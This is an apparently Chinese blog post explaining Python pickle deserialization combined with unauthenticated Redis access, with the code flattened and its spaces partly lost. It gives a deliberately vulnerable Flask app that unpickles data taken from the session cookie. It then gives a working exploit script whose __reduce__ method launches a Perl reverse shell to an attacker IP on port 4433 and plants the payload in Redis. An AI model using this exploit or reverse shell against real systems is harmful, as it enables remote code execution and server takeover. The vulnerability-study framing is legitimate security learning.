python pickle反序列化漏洞_浅谈python反序列化漏洞

最近看到p神一篇讲python反序列化的文章,结合redis未授权访问组合漏洞,感觉在flask和redis的构架中比较常见,便记录下来。

漏洞原理:

python序列化会通过pickle的dumps和loads来进行序列化和反序列化

其中序列化后的值为

对应的格式如下:

c:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中。

(:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组。

t:从堆栈中弹出对象,直到一个“(”被弹出,并创建一个包含弹出对象(除了“(”)的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中。

S:读取引号中的字符串直到换行符处,然后将它压入堆栈。

R:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。

.:结束pickle。

漏洞复现:

前提搭建一个web服务器,需要一个flask+redis的web服务。

代码如下

1 importredis2 from flask importFlask,request,session3 importpickle4 importrandom5 app = Flask(__name__)6

7 classRedis:8 @staticmethod9 defconnect():10 r = redis.StrictRedis(host='localhost', port=6379, db=0)11 returnr12

13 @staticmethod14 def set_data(r,key,data,ex=None):15 r.set(key,pickle.dumps(data),ex)16

17 @staticmethod18 defget_data(r,key):19 data =r.get(key)20 if data isNone:21 returnNone22 returnpickle.loads(data)23

24 defgetrand():25 str='abcdefghijklnmopqrstuvwxyz1234567890'

26 count = ''

27 for i in range(10):28 index = random.randint(0,35)29 count +=str[index]30 returncount31

32

33 @app.route('/',methods=['GET'])34 defhello_world():35 str = request.args.get('str')36 r =Redis.connect()37 rand =getrand()38 Redis.set_data(r,rand,str)39 return rand+':'+str40

41 @app.route('/getcookie')42 defget_cookie():43 cookie = request.cookies.get('session')44 r =Redis.connect()45 data =Redis.get_data(r,cookie)46 return 'your data:'+data47

48 if __name__ == '__main__':49 app.run()

index.py

程序大概过程是访问 / 目录会往redis中插入一条str变量,key值是伪随机生成的

然后访问/getcookie会访问cookie中的session的值带入redis查询并反序列化

可以构造payload如下

1 #!/usr/bin/env python

2 #3 importcPickle4 importos5 importredis6

7 classexp(object):8 def __reduce__(self):9 s = """perl -e 'use Socket;$i="10.20.40.52";$p=4433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'"""

10 return(os.system, (s,))11

12 e =exp()13 s =cPickle.dumps(e)14

15 r = redis.Redis(host='127.0.0.1', port=6379, db=0)16 r.set("e6c36e69a9c", s)

payload会往redis中插入一条e6c36e69a9c的key值

然后在/getcookie中设置cookie访问,并监听服务器上的4433端口

get!!!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
BUUCTF中的Pickle反序列化漏洞是指在该比赛的题目中存在通过反序列化攻击来执行任意代码的漏洞。具体来说,这个漏洞利用了Python中的pickle模块,pickle模块可以将对象序列化为字符串并保存到文件或通过网络传输。然后可以将这个字符串反序列化为原来的对象。这个过程中,如果不对反序列化的输入进行充分验证和过滤,攻击者可以构造恶意的pickle字符串,从而在反序列化的过程中执行任意代码。 在BUUCTF中,有一个题目叫做"Pickle Store",该题目利用了pickle模块的反序列化功能,并在反序列化的过程中执行了恶意代码。具体的攻击方法是,通过抓包获取到一个包含pickle字符串的session值,然后对这个字符串进行base64解码,并使用pickle模块的loads函数进行反序列化操作。这样就可以触发恶意代码的执行。 为了说明这个例子,作者提供了一个脚本来解析这个pickle字符串,首先使用base64解码得到原始字符串,然后使用pickle模块的loads函数进行反序列化操作,并最终执行恶意代码。这个例子展示了如何利用pickle模块的反序列化功能来执行任意代码。 在pickle模块中,还有一些其他的相关函数和方法可以帮助我们理解和分析pickle字符串的结构和内容。例如,pickletools模块提供了dis函数来反汇编pickle字符串,以及optimize函数来优化和简化pickle字符串的内容。 总结来说,BUUCTF中的Pickle反序列化漏洞是利用了pickle模块的反序列化功能来执行任意代码的漏洞。攻击者通过构造恶意的pickle字符串,可以在反序列化的过程中执行任意代码。为了解析和分析pickle字符串,可以使用pickle模块提供的函数和方法,如loads、pickletools.dis和pickletools.optimize。<span class="em">1</span><span class="em">2</span><span class="em">3</span><span class="em">4</span>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值